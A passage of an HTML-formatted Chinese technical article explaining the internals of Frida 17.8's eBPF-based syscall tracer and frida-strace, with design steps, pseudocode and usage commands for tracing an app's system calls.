style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">remove-targets</span></code></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">exclude-syscalls</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read-events</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-stacks</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-symbols</span></code></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read-stats</span></code></li></ol><p data-line="179" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read-events</span></code><span leaf="">会返回</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">events+processes+status</span></code><span leaf="">，其中</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">status</span></code><span leaf="">用于指示是否还要继续拉取下一批。</span></p><h3 data-line="158" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 ringbuf到事件批次</span></h3><p data-line="184" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">用户态</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SyscallTracer</span></code><span leaf="">的工作流是：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">监听ringbuf可读。</span></p></li><li style=""><p><span leaf="">收到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">events_available</span></code><span leaf="">后触发drain。</span></p></li><li style=""><p><span leaf="">把原始二进制事件转成协议Variant。</span></p></li><li style=""><p><span leaf="">在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MAX_BATCH_BYTES</span></code><span leaf="">限制内打包返回。</span></p></li></ol><p data-line="189" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这使</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-strace</span></code><span leaf="">能在高吞吐场景下做受控拉取，而不是被动洪泛。</span></p><h3 data-line="191" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">3 CLI事件合并与延迟符号化</span></h3><p data-line="193" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">目前用户态的工具主要是frida-tools中给出的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida-strace</span></code><span leaf="">。它的实现代码</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">frida_tools/stracer.py</span></code><span leaf="">重点做三件事：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">enter/exit按</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">(pid,tid,nr)</span></code><span leaf="">合并，形成更接近传统strace的单行视图。</span></p></li><li style=""><p><span leaf="">对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">stack_id</span></code><span leaf="">做按需解析，用户滚动到对应事件时再触发</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-stacks</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-symbols</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">支持运行时排除，排除后可同步清理已缓存事件。</span></p></li></ol><p data-line="201" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">该策略在交互体验与性能之间实现了较好的平衡。</span></p><h2 data-line="201" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如何使用eBPF实现同类系统调用跟踪</span></h2><p data-line="204" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">如果你要自己做一个“Frida风格”的eBPF syscall tracer，可以按下面步骤落地。</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">定义事件协议并固定字段布局，然后编写eBPF程序 事件字段需要优先稳定，特别是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pid/tid</span></code><span leaf="">类型、stack_id、附件布局。</span></p></li><li style=""><p><span leaf="">把“过滤”放在内核入口 PID/UID过滤、syscall排除都应在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sys_enter/sys_exit</span></code><span leaf="">入口就生效。</span></p></li><li style=""><p><span leaf="">把“输出参数拷贝”拆成enter登记＋exit执行 不要在enter阶段盲拷输出缓冲区。</span></p></li><li style=""><p><span leaf="">为符号化准备</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf=""> 引入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">map_gen</span></code><span leaf="">与映射变化事件，避免地址解析漂移。</span></p></li><li style=""><p><span leaf="">做首次快照握手 新进程首次出现时，用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">NEED_SNAPSHOT+SIGSTOP/SIGCONT</span></code><span leaf="">把初始化过程做成原子阶段。</span></p></li><li style=""><p><span leaf="">设计用户态服务协议 至少要有</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read-events</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-stacks</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve-symbols</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">read-stats</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">最后再做CLI交互 交互层只负责展示与检索，不要把核心状态机放在CLI。</span></p></li></ol><p data-line="221" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一个简化伪代码如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="222" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// eBPF侧简化流程</span></span><br/><span leaf="">on_sys_enter(ctx) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!target_match()) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    abi = detect_abi();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (excluded(abi, nr)) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!ensure_process_state_and_snapshot()) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    ev = reserve_event();</span><br/><span leaf="">    fill_common(ev, ENTER, nr, map_gen, stack_id);</span><br/><span leaf="">    fill_args(ev, ctx);</span><br/><span leaf="">    schedule_inflight_if_needed(tid, nr, ctx);</span><br/><span leaf="">    submit(ev);</span><br/><span leaf="">}</span><br/><span leaf="">on_sys_exit(ctx) {</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!target_match()) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    abi = detect_abi();</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (excluded(abi, nr)) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (!ensure_process_state_and_snapshot()) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf="">;</span><br/><span leaf="">    ev = reserve_event();</span><br/><span leaf="">    fill_common(ev, EXIT, nr, map_gen, stack_id);</span><br/><span leaf="">    fill_retval(ev, ctx-&gt;ret);</span><br/><span leaf="">    maybe_copy_out_args_from_inflight(ev, tid, nr, ctx-&gt;ret);</span><br/><span leaf="">    submit(ev);</span><br/><span leaf="">}</span></code></pre><h2 data-line="253" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">实战使用</span></h2><p data-line="255" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">最小命令：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="257" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">frida-strace -U -f com.example.app</span></code></pre><p data-line="261" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">多目标与排除示例：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="263" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">frida-strace -U -f com.a -x futex -x epoll_wait</span></code></pre><p data-line="267" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">常用调试思路：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">先不做符号化，只看syscall序列与关键参数。</span></p></li><li style=""><p><span leaf="">锁定可疑调用后再展开stack解析。</span></p></li><li style=""><p><span leaf="">对高频噪声调用进行排除，随后观察有效信号。</span></p></li></ol><h2 data-line="247" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">总结</span></h2><p data-line="275" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Frida17.8的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">syscall-tracer</span></code><span leaf="">并非简单的系统调用打印工具，而是形成了一套可扩展的跟踪基础设施：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">内核侧有过滤、有双阶段参数采集、有版本一致性。</span></p></li><li style=""><p><span leaf="">用户态有快照握手、有批量协议、有按需符号化。</span></p></li><li style=""><p><span leaf="">工具侧有合并显示、有动态排除、有交互可操作性。</span></p></li></ol><h2 data-line="256" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">参考链接</span></h2><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 